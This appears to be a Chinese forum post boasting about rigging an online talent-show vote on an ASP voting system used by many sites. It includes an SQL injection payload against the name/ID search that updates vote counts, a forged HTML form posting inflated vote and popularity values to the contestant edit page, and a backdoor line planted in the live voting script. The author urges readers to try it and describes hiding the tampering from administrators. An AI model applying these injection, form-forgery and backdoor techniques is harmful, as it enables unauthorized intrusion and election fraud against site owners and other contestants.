本文不针对某活动或网站,此ASP投票系统涉及很多网站活动使用。其核心代码是一样的,只是风格有些诧异。不希望大家批量搞站,但偶尔碰到了周边人参加活动的可以利用这个BUG试试。。。
同学参加某大型选秀(CCTV有参与)活动,每天Q上线就看到她发来连接让帮投票。一点点投不要太要命了。
随后观察此站,asp投票系统,对站外get、ip、以及时间做了限制。最后直接c段拿到shell,但这样不是长久之计(投票系统你不能直接加很多票数,管理会发现。shell估计不能保持长久)
下来程序看了下,上传点很多,拿shell不可实现,就看下注射啥的吧
在来看前台姓名编号搜索出发现了可含性注射。
t=Request("t") key=Request("key") Select case t case "id":sql="Select * from xxx where sh=1 and id like '"&key&"' order by ps desc":msg="按照编号:"&key&"排序" case "name":sql="Select * from xxx where sh=1 and name like '"&key&"' order by ps desc":msg="按照姓名:"&key&"排序" case else
可以看到直接会导致注射
"' and........update xxxx set ps=8888 where id=888 ''"等,结束前面注释后面语句。
再来看选手修改页面后提交更新程序:
If Trim(Request.Form("ValidCode"))=Empty Or Trim(Session("cnbruce.com_ValidateCode"))<>Trim(Request.Form("ValidCode")) Then Response.write("<script language='javascript'>alert('验证码错误!');history.back();</script>") Response.end() End if sql="Select * from xxx where id="&Session("id") Set rs=Server.CreateObject("ADODB.Recordset") rs.Open sql,conn,1,3 putallrs(rs) //我也很惊讶,这个问题大家可以看看我之前的主题,和某积分返点系统类似 rs("video")=Request.Form("video") rs.Update rs.Close
看到上面这段代码很兴奋。会员信息,包括人气值和票数都在同一表。而且上面这辍代码没过滤。
再次本地化表单,投票页面vote_do.asp做了防止外部提交,但选手修改页面这里没有。网页右键查看源码,去掉乱七八糟的,两行input,人气和票数
提交成功!(为了截此图,特意上了下QQ,涂的不好看当然不露点)
<form action="http://www.XXXX.com/View_do.asp" method="post" name="beauty_in" id="beauty_in" onsubmit="return(monitor());" > <input name="ps" value="888888"/><input name="rq" value="8888888"/> <td height="25" align="left" valign="middle"><span class="na">*</span>验证码: <input name="ValidCode" /> <img id="chk" onclick="document.all.chk.src='';document.all.chk.src='http://www.xxxx.com/Inc/ChkCode/validatecode.asp';" src="http://www.xxxxx.com/Inc/ChkCode/validatecode.asp" border="0" /><img src="Images/defaulting.gif" width="90" height="120" style=" display:none" /> <span style="cursor:hand; color:#0000CC; " onclick="document.all.chk.src='';document.all.chk.src='http://www.xxxxx.com/Inc/ChkCode/validatecode.asp';">看不清楚?</span></td> </tr> <tr> <td align="center"><input type="submit" value="提交修改" name="Submitok" /> <input type="reset" value="清空重填" name="reset" /></td> </tr> </tbody> </table> </form>
直接加票上去。不知道刷票&……%公司是不是这样加的(需要选手登陆)?
但每次票数不能加太多,还要保持稳定增加,别今天涨到800票了,两天后还是800票没变,管理会起疑心。。
于是我邪恶的在投票页面加了
sql="update xxxx set ps=ps+1 where id=888 conn.execute(sql)
给任何人投票都会给我指定的人加一票,这样稳定了吧。
对了,同学发现她的票飚的很不错,问我怎么投的,我说加了上百个QQ旺旺群发啊,求人家帮忙投票。。女同学激动的就差以身相许了。年假了回老家碰面。。。。
结束!